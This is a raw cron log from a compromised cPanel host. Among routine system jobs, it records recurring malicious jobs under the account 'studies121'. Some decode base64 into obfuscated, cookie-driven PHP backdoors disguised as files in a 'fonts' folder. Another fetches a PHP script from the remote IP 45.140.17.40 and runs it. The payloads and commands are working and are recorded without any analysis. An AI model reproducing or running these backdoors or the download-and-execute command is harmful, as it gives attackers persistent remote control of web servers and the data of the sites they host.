Sep  5 19:27:01 ip-184-168-122-23 CROND[14447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:27:01 ip-184-168-122-23 CROND[14445]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:28:01 ip-184-168-122-23 CROND[14525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:28:01 ip-184-168-122-23 CROND[14527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:28:01 ip-184-168-122-23 CROND[14529]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 19:28:01 ip-184-168-122-23 CROND[14528]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:28:01 ip-184-168-122-23 CROND[14531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:29:01 ip-184-168-122-23 CROND[14615]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:29:01 ip-184-168-122-23 CROND[14616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:29:01 ip-184-168-122-23 CROND[14619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:29:01 ip-184-168-122-23 CROND[14618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:30:01 ip-184-168-122-23 CROND[14779]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 19:30:01 ip-184-168-122-23 CROND[14780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:30:01 ip-184-168-122-23 CROND[14781]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 19:30:01 ip-184-168-122-23 CROND[14786]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:30:01 ip-184-168-122-23 CROND[14784]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 19:30:01 ip-184-168-122-23 CROND[14783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:30:01 ip-184-168-122-23 CROND[14782]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 19:30:01 ip-184-168-122-23 CROND[14787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:31:01 ip-184-168-122-23 CROND[14879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:31:01 ip-184-168-122-23 CROND[14884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:31:01 ip-184-168-122-23 CROND[14881]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:31:01 ip-184-168-122-23 CROND[14882]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 19:31:01 ip-184-168-122-23 CROND[14883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:32:01 ip-184-168-122-23 CROND[14989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:32:01 ip-184-168-122-23 CROND[14992]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:32:01 ip-184-168-122-23 CROND[14991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:32:01 ip-184-168-122-23 CROND[14990]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 19:32:01 ip-184-168-122-23 CROND[14988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:33:01 ip-184-168-122-23 CROND[15085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:33:01 ip-184-168-122-23 CROND[15087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:33:01 ip-184-168-122-23 CROND[15086]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:33:01 ip-184-168-122-23 CROND[15088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:34:01 ip-184-168-122-23 CROND[15181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:34:01 ip-184-168-122-23 CROND[15183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:34:01 ip-184-168-122-23 CROND[15182]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 19:34:01 ip-184-168-122-23 CROND[15184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:34:01 ip-184-168-122-23 CROND[15185]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:35:01 ip-184-168-122-23 CROND[15374]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:35:01 ip-184-168-122-23 CROND[15376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:35:01 ip-184-168-122-23 CROND[15380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:35:01 ip-184-168-122-23 CROND[15377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:35:01 ip-184-168-122-23 CROND[15379]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 19:35:01 ip-184-168-122-23 CROND[15381]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 19:35:01 ip-184-168-122-23 CROND[15378]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 19:35:01 ip-184-168-122-23 CROND[15382]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 19:36:01 ip-184-168-122-23 CROND[15483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:36:01 ip-184-168-122-23 CROND[15484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:36:01 ip-184-168-122-23 CROND[15485]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 19:36:01 ip-184-168-122-23 CROND[15486]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:36:01 ip-184-168-122-23 CROND[15487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:37:01 ip-184-168-122-23 CROND[15573]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:37:01 ip-184-168-122-23 CROND[15572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:37:01 ip-184-168-122-23 CROND[15574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:37:01 ip-184-168-122-23 CROND[15575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:38:01 ip-184-168-122-23 CROND[15692]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 19:38:01 ip-184-168-122-23 CROND[15691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:38:01 ip-184-168-122-23 CROND[15694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:38:01 ip-184-168-122-23 CROND[15690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:38:01 ip-184-168-122-23 CROND[15693]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:39:01 ip-184-168-122-23 CROND[15785]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:39:01 ip-184-168-122-23 CROND[15787]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 19:39:01 ip-184-168-122-23 CROND[15789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:39:01 ip-184-168-122-23 CROND[15788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
